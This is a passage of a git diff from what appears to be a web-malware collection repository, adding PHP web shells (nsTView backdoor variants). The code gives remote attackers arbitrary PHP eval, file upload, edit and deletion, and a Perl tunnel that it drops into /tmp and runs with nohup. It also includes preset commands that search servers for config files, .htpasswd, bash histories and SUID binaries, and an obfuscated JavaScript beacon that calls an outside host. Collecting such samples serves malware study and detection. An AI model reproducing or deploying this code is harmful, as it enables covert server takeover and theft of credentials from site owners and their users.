} else { + print \"Parent: Fork ������ �������, ��������� �����.\n\" if \$log; + \$ch->close(); + } +} + + +sub Run { + my(\$o, \$ch, \$num) = @_; + my \$th = IO::Socket::INET->new('PeerAddr' => \$o->{'tohost'}, + 'PeerPort' => \$o->{'toport'}); + print(\"Child: ������ �������� �� \$o->{'tohost'}, ���� \$o->{'toport'}.\n\") if \$log; + if (!\$th) { + printf STDERR (\"Child: ������� �������� �� %s, ���� %s.\n\", + \$o->{'tohost'}, \$o->{'toport'}); + exit 0; + } + + my \$fh; + if (\$o->{'dir'}) { + \$fh = Symbol::gensym(); + open(\$fh, \">\$o->{'dir'}/tunnel\$num.log\") + or die \"Child: �������� �������� ��� ����� \$o->{'dir'}/tunnel\$num.log: \$!\"; + } + + \$ch->autoflush(); + \$th->autoflush(); + while (\$ch || \$th) { + print \"Child: �������� ����.\n\" if \$log; + my \$rin = \"\"; + vec(\$rin, fileno(\$ch), 1) = 1 if \$ch; + vec(\$rin, fileno(\$th), 1) = 1 if \$th; + my(\$rout, \$eout); + select(\$rout = \$rin, undef, \$eout = \$rin, 120); + if (!\$rout && !\$eout) { + print STDERR \"Child: ������ Timeout.\n\"; + } + my \$cbuffer = \"\"; + my \$tbuffer = \"\"; + + if (\$ch && (vec(\$eout, fileno(\$ch), 1) || vec(\$rout, fileno(\$ch), 1))) { + print \"Child: ���� ������ �� �������.\n\" if \$log; + my \$result = sysread(\$ch, \$tbuffer, 1024); + if (!defined(\$result)) { + print STDERR \"Child: ������ ��� ���������� ������ �������: \$!\n\"; + exit 0; + } + if (\$result == 0) { + print \"Child: ������ ������������.\n\" if \$log; + exit 0; + } + + print \"Child: ������: \$cbuffer\n\" if \$log; + } + + if (\$th && (vec(\$eout, fileno(\$th), 1) || vec(\$rout, fileno(\$th), 1))) { + print \"Child: ���� ������.\n\" if \$log; + my \$result = sysread(\$th, \$cbuffer, 1024); + if (!defined(\$result)) { + print STDERR \"Child: ���������� ������� ������: \$!\n\"; + exit 0; + } + + if (\$result == 0) { + print \"Child: ��������� ������������.\n\" if \$log; + exit 0; + } + + print \"Child: ������: \$cbuffer\n\" if \$log; + } + + if (\$fh && \$tbuffer) { + (print \$fh \$tbuffer); + } + + while (my \$len = length(\$tbuffer)) { + print \"Child: ���������� \$len ����.\n\" if \$log; + my \$res = syswrite(\$th, \$tbuffer, \$len); + print \"Child: ������ ����������.\n\" if \$log; + if (\$res > 0) { + \$tbuffer = substr(\$tbuffer, \$res); + } else { + print STDERR \"Child: ���������� ��������� ������: \$!\n\"; + } + } + + while (my \$len = length(\$cbuffer)) { + print \"Child: ���������� \$len ���� �������.\n\" if \$log; + my \$res = syswrite(\$ch, \$cbuffer, \$len); + print \"Child: ������ ����������..\n\" if \$log; + if (\$res > 0) { + \$cbuffer = substr(\$cbuffer, \$res); + } else { + print STDERR \"Child: ���������� ��������� ������: \$!\n\"; + } + } + } +} + +"; + +if(is_writable("/tmp")){ +$fp=fopen("/tmp/nst_perl_datapipe.pl","w"); +fwrite($fp,"$datapipe_pl"); +passthru("nohup perl /tmp/nst_perl_datapipe.pl &"); +unlink("/tmp/nst_perl_datapipe.pl"); +}else{ +if(is_writable(".")){ +mkdir(".nst_datapipe_tmp"); +$fp=fopen(".nst_datapipe_tmp/nst_perl_datapipe.pl","w"); +fwrite($fp,"$datapipe_pl"); +passthru("nohup perl .nst_datapipe_tmp/nst_perl_datapipe.pl &"); +unlink(".nst_datapipe_tmp/nst_perl_datapipe.pl"); +rmdir(".nst_datapipe_tmp"); +} +} +$show_ps="1"; + +}#end of datapipe perl + + + + + +if($show_ps=="1"){ +print "<center><b>[ps ux]</b></center><br><br>"; +print "<pre>"; +passthru("ps ux"); +print "</pre><br><br>"; +} + + + +echo "<form method=post><b>md5:</b><br><input name=md5 size=30> +<Br> +md5 online encoder/decoder (brutforce) (php) - [<a href=http://alturks.com/?q=releases&download=4>DOWNLOAD</a>] +</form> +"; +@$md5=@$_POST['md5']; +if(@$_POST['md5']){ echo "md5:<br><textarea rows=1 cols=113>".md5($md5)."</textarea>";} +echo "<br> +<form method=post><b>base64 e/d:</b><br><input name=base64 size=30></form><br>"; +if(@$_POST['base64']){ +@$base64=$_POST['base64']; +echo " +<b>Encode: <br><textarea rows=15 cols=113>".base64_encode($base64)."</textarea><br> +Decode:</b> <br><textarea rows=15 cols=113>".base64_decode($base64)."</textarea><br>";} +echo "<br> +<form method=post><b>DES:</b><br><input name=des size=30><br> +John The Ripper [<a href=http://www.openwall.com/john/ target=_blank>Web</a>]</form><br>"; +if(@$_POST['des']){ +@$des=@$_POST['des']; +echo "<b>Des:</b> <br><textarea rows=15 cols=113>".crypt($des)."</textarea>";} + +print " +<b>eval:</b<br> +(example: print \"Hello World\";) +<form method=post> +<font color=red><b>&lt;?</b><br> +<textarea name=eval rows=15 cols=113></textarea><br> +<b>?&gt;</b></font><br> +<input type=submit value=Run style='width:150px;'> +</form><br> +"; + +function eval_sl($editf){ +if(get_magic_quotes_gpc()==1){ +$editf=stripslashes($editf); +} +return $editf; +} + + +if($_POST['eval']){ +print "<b>RESULT:<br><br></b>"; +eval(eval_sl($_POST['eval'])); +print "<br><br>"; + +print "<font color=green><b>PHP:</b><br>\r\n\r\n"; +print "&lt;?\r\n"; +print "<br>"; +print htmlspecialchars(eval_sl(($_POST['eval']))); +print "<br>"; +print "?&gt;\r\n\r\n</font><br><br>"; + +} + +echo $copyr; +exit;} + +if(@$_GET['replace']=="1"){ +$ip=@$_SERVER['REMOTE_ADDR']; +$d=$_GET['d']; +$e=$_GET['e']; +@$de=$d."/".$e; +$de=str_replace("//","/",$de); +$e=@$e; +echo "[<a href='$php_self?d=$d&del_f=1&wich_f=$e'>Delete</a>] [<a href='$php_self?d=$d&ef=$e&edit=1'>Edit</a>] [<a href='$php_self?d=$d&e=$e&clean=1'>Filesize to 0 byte</a>] [<a href='$php_self?d=$d&e=$e&replace=1'>Replace text in file</a>] [<a href='$php_self?d=$d&download=$e'>Download</a>] [<a href='$php_self?d=$d&rename=1&wich_f=$e'>Rename</a>] [<a href='$php_self?d=$d&chmod=1&wich_f=$e'>CHMOD</a>] [<a href='$php_self?d=$d&ccopy_to=$e'>Copy</a>]<br>"; +echo " +Replace tool:<br> +(You can replace any text)<br> +File: $de<br> +<form method=post> +1. Your ip.<br> +2. microsoft.com ip :)<br> +Replace this <input name=thisX size=30 value=$ip> by this <input name=bythis size=30 value=207.46.245.156> +<input type=submit name=doit value=Replace> +</form> +"; + +if(@$_POST['doit']){ +@$thisX=$_POST['thisX']; +@$bythis=$_POST['bythis']; +@$e=$_GET['e']; +$filename="$d/$e"; +$fd = @fopen ($filename, "r"); +$rpl = @fread ($fd, @filesize ($filename)); +$re=str_replace("$thisX","$bythis",$rpl); +$x=@fopen("$d/$e","w"); +@fwrite($x,"$re"); +echo "<br><center>$thisX Replaced by $bythis<br> +[<a href='$php_self?d=$d&e=$e'>VIew file</a>]<br><br><Br>"; + +} +echo $copyr; +exit;} + + +if(@$_GET['t']=="upload"){ +echo "<br> +<a href='$php_self?d=$d&t=massupload'>* Mass upload *</a><br> +File upload:<br> +<form enctype=\"multipart/form-data\" method=post> +<input type=file name=text size=50><br> +<input name=where size=52 value='$d'><br> +New file name:<br> +<input name=newf size=30 autocomplete=off> (if empty, it will be default)<br> +<input type=submit value=Upload name=uploadf> +</form><br> +"; + +if(@$_POST['uploadf']){ +$where=$_POST['where']; +$newf=$_POST['newf']; +$where=str_replace("//","/",$where); +if($newf==""){$newf=$_FILES['text']['name'];}else{$newf=$newf;} +$uploadfile = "$where/".$newf; +if (@move_uploaded_file(@$_FILES['text']['tmp_name'], $uploadfile)) { +$uploadfile=str_replace("//","/",$uploadfile); +echo "<i><br>Uploaded to $uploadfile</i><br>"; +}else{ +echo "<i><br>Error</i><br>";} +} +} + +if(@$_GET['t']=="massupload"){ +echo " +Mass upload:<br> +<form enctype=\"multipart/form-data\" method=post> +<input type=file name=text1 size=43> <input type=file name=text11 size=43><br> +<input type=file name=text2 size=43> <input type=file name=text12 size=43><br> +<input type=file name=text3 size=43> <input type=file name=text13 size=43><br> +<input type=file name=text4 size=43> <input type=file name=text14 size=43><br> +<input type=file name=text5 size=43> <input type=file name=text15 size=43><br> +<input type=file name=text6 size=43> <input type=file name=text16 size=43><br> +<input type=file name=text7 size=43> <input type=file name=text17 size=43><br> +<input type=file name=text8 size=43> <input type=file name=text18 size=43><br> +<input type=file name=text9 size=43> <input type=file name=text19 size=43><br> +<input type=file name=text10 size=43> <input type=file name=text20 size=43><br> +<input name=where size=43 value='$d'><br> +<input type=submit value=Upload name=massupload> +</form><br>"; + +if(@$_POST['massupload']){ +$where=@$_POST['where']; +$uploadfile1 = "$where/".@$_FILES['text1']['name']; +$uploadfile2 = "$where/".@$_FILES['text2']['name']; +$uploadfile3 = "$where/".@$_FILES['text3']['name']; +$uploadfile4 = "$where/".@$_FILES['text4']['name']; +$uploadfile5 = "$where/".@$_FILES['text5']['name']; +$uploadfile6 = "$where/".@$_FILES['text6']['name']; +$uploadfile7 = "$where/".@$_FILES['text7']['name']; +$uploadfile8 = "$where/".@$_FILES['text8']['name']; +$uploadfile9 = "$where/".@$_FILES['text9']['name']; +$uploadfile10 = "$where/".@$_FILES['text10']['name']; +$uploadfile11 = "$where/".@$_FILES['text11']['name']; +$uploadfile12 = "$where/".@$_FILES['text12']['name']; +$uploadfile13 = "$where/".@$_FILES['text13']['name']; +$uploadfile14 = "$where/".@$_FILES['text14']['name']; +$uploadfile15 = "$where/".@$_FILES['text15']['name']; +$uploadfile16 = "$where/".@$_FILES['text16']['name']; +$uploadfile17 = "$where/".@$_FILES['text17']['name']; +$uploadfile18 = "$where/".@$_FILES['text18']['name']; +$uploadfile19 = "$where/".@$_FILES['text19']['name']; +$uploadfile20 = "$where/".@$_FILES['text20']['name']; +if (@move_uploaded_file(@$_FILES['text1']['tmp_name'], $uploadfile1)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile1</i><br>";} +if (@move_uploaded_file(@$_FILES['text2']['tmp_name'], $uploadfile2)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile2</i><br>";} +if (@move_uploaded_file(@$_FILES['text3']['tmp_name'], $uploadfile3)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile3</i><br>";} +if (@move_uploaded_file(@$_FILES['text4']['tmp_name'], $uploadfile4)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile4</i><br>";} +if (@move_uploaded_file(@$_FILES['text5']['tmp_name'], $uploadfile5)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile5</i><br>";} +if (@move_uploaded_file(@$_FILES['text6']['tmp_name'], $uploadfile6)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile6</i><br>";} +if (@move_uploaded_file(@$_FILES['text7']['tmp_name'], $uploadfile7)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile7</i><br>";} +if (@move_uploaded_file(@$_FILES['text8']['tmp_name'], $uploadfile8)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile8</i><br>";} +if (@move_uploaded_file(@$_FILES['text9']['tmp_name'], $uploadfile9)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile9</i><br>";} +if (@move_uploaded_file(@$_FILES['text10']['tmp_name'], $uploadfile10)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile10</i><br>";} +if (@move_uploaded_file(@$_FILES['text11']['tmp_name'], $uploadfile11)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile11</i><br>";} +if (@move_uploaded_file(@$_FILES['text12']['tmp_name'], $uploadfile12)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile12</i><br>";} +if (@move_uploaded_file(@$_FILES['text13']['tmp_name'], $uploadfile13)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile13</i><br>";} +if (@move_uploaded_file(@$_FILES['text14']['tmp_name'], $uploadfile14)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile14</i><br>";} +if (@move_uploaded_file(@$_FILES['text15']['tmp_name'], $uploadfile15)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile15</i><br>";} +if (@move_uploaded_file(@$_FILES['text16']['tmp_name'], $uploadfile16)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile16</i><br>";} +if (@move_uploaded_file(@$_FILES['text17']['tmp_name'], $uploadfile17)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile17</i><br>";} +if (@move_uploaded_file(@$_FILES['text18']['tmp_name'], $uploadfile18)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile18</i><br>";} +if (@move_uploaded_file(@$_FILES['text19']['tmp_name'], $uploadfile19)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile19</i><br>";} +if (@move_uploaded_file(@$_FILES['text20']['tmp_name'], $uploadfile20)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile20</i><br>";} +} +echo $copyr; +exit;} + +if(@$_GET['yes']=="yes"){ +$d=@$_GET['d']; $e=@$_GET['e']; +unlink($d."/".$e); +$delresult="Success $d/$e deleted <meta http-equiv=\"REFRESH\" content=\"2;URL=$php_self?d=$d\">"; +} +if(@$_GET['clean']=="1"){ +@$e=$_GET['e']; +$x=fopen("$d/$e","w"); +fwrite($x,""); +echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?d=$d&e=".@$e."\">"; +exit; +} + + +if(@$_GET['e']){ +$d=@$_GET['d']; +$e=@$_GET['e']; +$pinf=pathinfo($e); +if(in_array(".".@$pinf['extension'],$images)){ +echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?d=$d&e=$e&img=1\">"; +exit;} +$filename="$d/$e"; +$fd = @fopen ($filename, "r"); +$c = @fread ($fd, @filesize ($filename)); +$c=htmlspecialchars($c); +$de=$d."/".$e; +$de=str_replace("//","/",$de); +if(is_file($de)){ +if(!is_writable($de)){echo "<font color=red>READ ONLY</font><br>";}} +echo "[<a href='$php_self?d=$d&del_f=1&wich_f=$e'>Delete</a>] [<a href='$php_self?d=$d&ef=$e&edit=1'>Edit</a>] [<a href='$php_self?d=$d&e=$e&clean=1'>Filesize to 0 byte</a>] [<a href='$php_self?d=$d&e=$e&replace=1'>Replace text in file</a>] [<a href='$php_self?d=$d&download=$e'>Download</a>] [<a href='$php_self?d=$d&rename=1&wich_f=$e'>Rename</a>] [<a href='$php_self?d=$d&chmod=1&wich_f=$e'>CHMOD</a>] [<a href='$php_self?d=$d&ccopy_to=$e'>Copy</a>]<br>"; +echo " +File contents:<br> +$de +<br> +<table width=100% border=1 cellpadding=0 cellspacing=0> +<tr><td><pre> +$c + +</pre></td></tr> +</table> + +"; + +if(@$_GET['delete']=="1"){ +$delete=$_GET['delete']; +echo " +DELETE: Are you sure?<br> +<a href=\"$php_self?d=$d&e=$e&delete=".@$delete."&yes=yes\">Yes</a> || <a href='$php_self?no=1'>No</a> +<br> +"; +if(@$_GET['yes']=="yes"){ +@$d=$_GET['d']; @$e=$_GET['e']; +echo $delresult; +} +if(@$_GET['no']){ +echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?d=$d&e=$e\"> +"; +} + + +} #end of delete +echo $copyr; +exit; +} #end of e + +if(@$_GET['edit']=="1"){ +@$d=$_GET['d']; +@$ef=$_GET['ef']; +$e=$ef; +if(is_file($d."/".$ef)){ +if(!is_writable($d."/".$ef)){echo "<font color=red>READ ONLY</font><br>";}} +echo "[<a href='$php_self?d=$d&del_f=1&wich_f=$e'>Delete</a>] [<a href='$php_self?d=$d&ef=$e&edit=1'>Edit</a>] [<a href='$php_self?d=$d&e=$e&clean=1'>Filesize to 0 byte</a>] [<a href='$php_self?d=$d&e=$e&replace=1'>Replace text in file</a>] [<a href='$php_self?d=$d&download=$e'>Download</a>] [<a href='$php_self?d=$d&rename=1&wich_f=$e'>Rename</a>] [<a href='$php_self?d=$d&chmod=1&wich_f=$e'>CHMOD</a>] [<a href='$php_self?d=$d&ccopy_to=$e'>Copy</a>]<br>"; +$filename="$d/$ef"; +$fd = @fopen ($filename, "r"); +$c = @fread ($fd, @filesize ($filename)); +$c=htmlspecialchars($c); +$de=$d."/".$ef; +$de=str_replace("//","/",$de); +echo " +Edit:<br> +$de<br>"; + +if(!@$_POST['save']){ +print " +<form method=post> +<input name=filename value='$d/$ef'> +<textarea cols=143 rows=30 name=editf>$c</textarea> +<br> +<input type=submit name=save value='Save changes'></form><br> +"; +} +if(@$_POST['save']){ +$editf=@$_POST['editf']; + +if(get_magic_quotes_runtime() or get_magic_quotes_gpc()){ +$editf=stripslashes($editf); +} + +$f=fopen($filename,"w+"); +fwrite($f,"$editf"); +echo "<br> +<b>File edited.</b> +<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?d=$d&e=$ef\">"; +exit; +} +echo $copyr; +exit; +} + + + +echo" +<table width=100% cellpadding=1 cellspacing=0 class=hack> +<tr><td bgcolor=#519A00><center><b>Filename</b></td><td bgcolor=#519A00><center><b>Tools</b></td><td bgcolor=#519A00><b>Size</b></td><td bgcolor=#519A00><center><b>Owner/Group</b></td><td bgcolor=#519A00><b>Perms</b></td></tr> +"; +$dirs=array(); +$files=array(); +$dh = @opendir($d) or die("<table width=100%><tr><td><center>Permission Denied or Folder/Disk does not exist</center><br>$copyr</td></tr></table>"); +while (!(($file = readdir($dh)) === false)) { +if ($file=="." || $file=="..") continue; +if (@is_dir("$d/$file")) { + $dirs[]=$file; +}else{ + $files[]=$file; + } + sort($dirs); + sort($files); + +$fz=@filesize("$d/$file"); +} + +function perm($perms){ +if (($perms & 0xC000) == 0xC000) { + $info = 's'; +} elseif (($perms & 0xA000) == 0xA000) { + $info = 'l'; +} elseif (($perms & 0x8000) == 0x8000) { + $info = '-'; +} elseif (($perms & 0x6000) == 0x6000) { + $info = 'b'; +} elseif (($perms & 0x4000) == 0x4000) { + $info = 'd'; +} elseif (($perms & 0x2000) == 0x2000) { + $info = 'c'; +} elseif (($perms & 0x1000) == 0x1000) { + $info = 'p'; +} else { + $info = 'u'; +} +$info .= (($perms & 0x0100) ? 'r' : '-'); +$info .= (($perms & 0x0080) ? 'w' : '-'); +$info .= (($perms & 0x0040) ? + (($perms & 0x0800) ? 's' : 'x' ) : + (($perms & 0x0800) ? 'S' : '-')); +$info .= (($perms & 0x0020) ? 'r' : '-'); +$info .= (($perms & 0x0010) ? 'w' : '-'); +$info .= (($perms & 0x0008) ? + (($perms & 0x0400) ? 's' : 'x' ) : + (($perms & 0x0400) ? 'S' : '-')); +$info .= (($perms & 0x0004) ? 'r' : '-'); +$info .= (($perms & 0x0002) ? 'w' : '-'); +$info .= (($perms & 0x0001) ? + (($perms & 0x0200) ? 't' : 'x' ) : + (($perms & 0x0200) ? 'T' : '-')); +return $info; +} + + +for($i=0; $i<count($dirs); $i++){ + +$perms = @fileperms($d."/".$dirs[$i]); +$owner = @fileowner($d."/".$dirs[$i]); +if($os=="unix"){ +$fileownera=posix_getpwuid($owner); +$owner=$fileownera['name']; +} +$group = @filegroup($d."/".$dirs[$i]); +if($os=="unix"){ +$groupinfo = posix_getgrgid($group); +$group=$groupinfo['name']; +} +$info=perm($perms); +if($i%2){$color="#D7FFA8";}else{$color="#D1D1D1";} +$linkd="<a href='$php_self?d=$d/$dirs[$i]'>$dirs[$i]</a>"; +$linkd=str_replace("//","/",$linkd); +echo "<tr><td bgcolor=$color><font face=wingdings size=2>0</font> $linkd</td><td bgcolor=$color><center><font color=blue>DIR</font></td><td bgcolor=$color>&nbsp;</td><td bgcolor=$color><center>$owner/$group</td><td bgcolor=$color>$info</td></tr>"; +} + +for($i=0; $i<count($files); $i++){ + +$size=@filesize($d."/".$files[$i]); +$perms = @fileperms($d."/".$files[$i]); +$owner = @fileowner($d."/".$files[$i]); +if($os=="unix"){ +$fileownera=posix_getpwuid($owner); +$owner=$fileownera['name']; +} +$group = @filegroup($d."/".$files[$i]); +if($os=="unix"){ +$groupinfo = posix_getgrgid($group); +$group=$groupinfo['name']; +} +$info=perm($perms); +if($i%2){$color="#D1D1D1";}else{$color="#D7FFA8";} + +if ($size < 1024){$siz=$size.' b'; +}else{ +if ($size < 1024*1024){$siz=number_format(($size/1024), 2, '.', '').' kb';}else{ +if ($size < 1000000000){$siz=number_format($size/(1024*1024), 2, '.', '').' mb';}else{ +if ($size < 1000000000000){$siz=number_format($size/(1024*1024*1024), 2, '.', '').' gb';} +}}} +echo "<tr><td bgcolor=$color><font face=wingdings size=3>2</font> <a href='$php_self?d=$d&e=$files[$i]'>$files[$i]</a></td><td bgcolor=$color><center><a href=\"javascript:ShowOrHide('$i','')\">[options]</a><div id='$i' style='display:none;z-index:1;' ><a href='$php_self?d=$d&ef=$files[$i]&edit=1' title='Edit $files[$i]'><b>Edit</b></a><br><a href='$php_self?d=$d&del_f=1&wich_f=$files[$i]' title='Delete $files[$i]'><b>Delete</b></a><br><a href='$php_self?d=$d&chmod=1&wich_f=$files[$i]' title='chmod $files[$i]'><b>CHMOD</b></a><br><a href='$php_self?d=$d&rename=1&wich_f=$files[$i]' title='Rename $files[$i]'><b>Rename</b></a><br><a href='$php_self?d=$d&download=$files[$i]' title='Download $files[$i]'><b>Download</b></a><br><a href='$php_self?d=$d&ccopy_to=$files[$i]' title='Copy $files[$i] to?'><b>Copy</b></a></div></td><td bgcolor=$color>$siz</td><td bgcolor=$color><center>$owner/$group</td><td bgcolor=$color>$info</td></tr>"; +} + +echo "</table></td></tr></table>"; +echo $copyr; + +?> +<!-- :: Edited By KingDefacer :: --!> +<script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/nstview.txt b/web-malware-collection-master/Backdoors/PHP/nstview.txt new file mode 100755 index 0000000..4ecf4bb --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/nstview.txt @@ -0,0 +1,2136 @@ +<? +@session_start(); +@set_time_limit(0); +@set_magic_quotes_runtime(0); +error_reporting(E_ALL & ~E_NOTICE); +#####cfg##### +# use password true / false # +$create_password = true; +$password = "nst"; // default password for nstview, you can change it. + +# UNIX COMMANDS +# description (nst) command +# example: Shutdown (nst) shutdown -h now +$fast_commands = " +Show open ports (nst) netstat -an | grep LISTEN | grep tcp +last root (nst) last root +last (all users) (nst) last all +Find all config.php in / (nst) find / -type f -name config.php +Find all config.php in . (nst) find . -type f -name config.php +Find all admin.php in / (nst) find / -type f -name admin.php +Find all admin.php in . (nst) find . -type f -name admin.php +Find all config.inc.php in / (nst) find / -type f -name config.inc.php +Find all config.inc.php in . (nst) find . -type f -name config.inc.php +Find all config.inc in / (nst) find / -type f -name config.inc +Find all config.inc in . (nst) find . -type f -name config.inc +Find all config.dat in / (nst) find / -type f -name config.dat +Find all config.dat in . (nst) find . -type f -name config.dat +Find all config* in / (nst) find / -type f -name config* +Find all config* in . (nst) find . -type f -name config* +Find all pass* in / (nst) find / -type f -name pass* +Find all pass* in . (nst) find . -type f -name pass* +Find all .bash_history in / (nst) find / -type f -name .bash_history +Find all .bash_history in . (nst) find . -type f -name .bash_history +Find all .htpasswd in / (nst) find / -type f -name .htpasswd +Find all .htpasswd in . (nst) find . -type f -name .htpasswd +Find all writable dirs/files in / (nst) find / -perm -2 -ls +Find all writable dirs/files in . (nst) find . -perm -2 -ls +Find all suid files in / (nst) find / -type f -perm -04000 -ls +Find all suid files in . (nst) find . -type f -perm -04000 -ls +Find all sgid files in / (nst) find / -type f -perm -02000 -ls +Find all sgid files in . (nst) find . -type f -perm -02000 -ls +Find all .fetchmailrc files in / (nst) find / -type f -name .fetchmailrc +Find all .fetchmailrc files in . (nst) find . -type f -name .fetchmailrc +OS Version? (nst) sysctl -a | grep version +Kernel version? (nst) cat /proc/version +cat syslog.conf (nst) cat /etc/syslog.conf +Cat - Message of the day (nst) cat /etc/motd +Cat hosts (nst) cat /etc/hosts +Distrib name (nst) cat /etc/issue.net +Distrib name (2) (nst) cat /etc/*-realise +Display all process - wide output (nst) ps auxw +Display all your process (nst) ps ux +Interfaces (nst) ifconfig +CPU? (nst) cat /proc/cpuinfo +RAM (nst) free -m +HDD space (nst) df -h +List of Attributes (nst) lsattr -a +Mount options (nst) cat /etc/fstab +Is cURL installed? (nst) which curl +Is wGET installed? (nst) which wget +Is lynx installed? (nst) which lynx +Is links installed? (nst) which links +Is fetch installed? (nst) which fetch +Is GET installed? (nst) which GET +Is perl installed? (nst) which perl +Where is apache (nst) whereis apache +Where is perl (nst) whereis perl +locate proftpd.conf (nst) locate proftpd.conf +locate httpd.conf (nst) locate httpd.conf +locate my.conf (nst) locate my.conf +locate psybnc.conf (nst) locate psybnc.conf +"; + + + +# WINDOWS COMMANDS +# description (nst) command +# example: Delete autoexec.bat (nst) del c:\autoexec.bat +$fast_commands_win = " +OS Version (nst) ver +Tasklist (nst) tasklist +Attributes in . (nst) attrib +Show open ports (nst) netstat -an +"; + + + + + +######ver#### +$ver= "v2.1"; +############# +$pass=$_POST['pass']; +if($pass==$password){ +$_SESSION['nst']="$pass"; +} +if ($_SERVER["HTTP_CLIENT_IP"]) $ip = $_SERVER["HTTP_CLIENT_IP"]; +else if($_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; +else if($_SERVER["REMOTE_ADDR"]) $ip = $_SERVER["REMOTE_ADDR"]; +else $ip = $_SERVER['REMOTE_ADDR']; +$ip=htmlspecialchars($ip); + +if($create_password==true){ + +if(!isset($_SESSION['nst']) or $_SESSION['nst']!=$password){ +die(" +<title>nsTView $ver:: nst.void.ru</title> +<center> +<table width=100 bgcolor=#D7FFA8 border=1 bordercolor=black><tr><td> +<font size=1 face=verdana><center> +<b>nsTView $ver :: <a href=http://nst.void.ru style='text-decoration:none;'><font color=black>nst.void.ru</font></a><br></b> +</center> +<form method=post> +Password:<br> +<input type=password name=pass size=30 tabindex=1> +</form> +<b>Host:</b> ".$_SERVER["HTTP_HOST"]."<br> +<b>IP:</b> ".gethostbyname($_SERVER["HTTP_HOST"])."<br> +<b>Your ip:</b> ".$ip." +</td></tr></table> +");} + +} +$d=$_GET['d']; + +function adds($editf){ +#if(get_magic_quotes_gpc()==0){ +$editf=addslashes($editf); +#} +return $editf; +} +function adds2($editf){ +if(get_magic_quotes_gpc()==0){ +$editf=addslashes($editf); +} +return $editf; +} + +$f = "nst_sql.txt"; +$f_d = $_GET['f_d']; + +if($_GET['download']){ +$download=$_GET['download']; +header("Content-disposition: attachment; filename=\"$download\";"); +readfile("$d/$download"); +exit;} + +if($_GET['dump_download']){ +header("Content-disposition: attachment; filename=\"$f\";"); +header("Content-length: ".filesize($f_d."/".$f)); +header("Expires: 0"); +readfile($f_d."/".$f); +if(is_writable($f_d."/".$f)){ +unlink($f_d."/".$f); +} +die; +} + + +$images=array(".gif",".jpg",".png",".bmp",".jpeg"); +$whereme=getcwd(); +@$d=@$_GET['d']; +$copyr = "<center><a href=http://nst.void.ru target=_blank>nsTView $ver<br>o... Network security team ...o</a>"; +$php_self=@$_SERVER['PHP_SELF']; +if(@eregi("/",$whereme)){$os="unix";}else{$os="win";} +if(!isset($d)){$d=$whereme;} +$d=str_replace("\\","/",$d); +if(@$_GET['p']=="info"){ +@phpinfo(); +exit;} +if(@$_GET['img']=="1"){ +@$e=$_GET['e']; +header("Content-type: image/gif"); +readfile("$d/$e"); +} +if(@$_GET['getdb']=="1"){ +header('Content-type: application/plain-text'); +header('Content-Disposition: attachment; filename=nst-mysql-damp.htm'); +} +print "<title>nsT View $ver</title> +<style> +BODY, TD, TR { +text-decoration: none; +font-family: Verdana; +font-size: 8pt; +SCROLLBAR-FACE-COLOR: #363d4e; +SCROLLBAR-HIGHLIGHT-COLOR: #363d4e; +SCROLLBAR-SHADOW-COLOR: #363d4e; +SCROLLBAR-ARROW-COLOR: #363d4e; +SCROLLBAR-TRACK-COLOR: #91AAFF +} +input, textarea, select { +font-family: Verdana; +font-size: 10px; +color: black; +background-color: white; +border: solid 1px; +border-color: black +} +UNKNOWN { +COLOR: #0006DE; +TEXT-DECORATION: none +} +A:link { +COLOR: #0006DE; +TEXT-DECORATION: none +} +A:hover { +COLOR: #FF0C0B; +TEXT-DECORATION: none +} +A:active { +COLOR: #0006DE; +TEXT-DECORATION: none +} +A:visited { +TEXT-DECORATION: none +} +</style> +<script> +function ShowOrHide(d1, d2) { +if (d1 != '') DoDiv(d1); +if (d2 != '') DoDiv(d2);} + +function DoDiv(id) { +var item = null; +if (document.getElementById) { +item = document.getElementById(id); +} else if (document.all){ +item = document.all[id]; +} else if (document.layers){ +item = document.layers[id];} +if (!item) {} +else if (item.style) { +if (item.style.display == \"none\"){ item.style.display = \"\"; } +else {item.style.display = \"none\"; } +}else{ item.visibility = \"show\"; }} + +function cwd(text){ +document.sh311Form.sh3.value+=\" \"+ text; 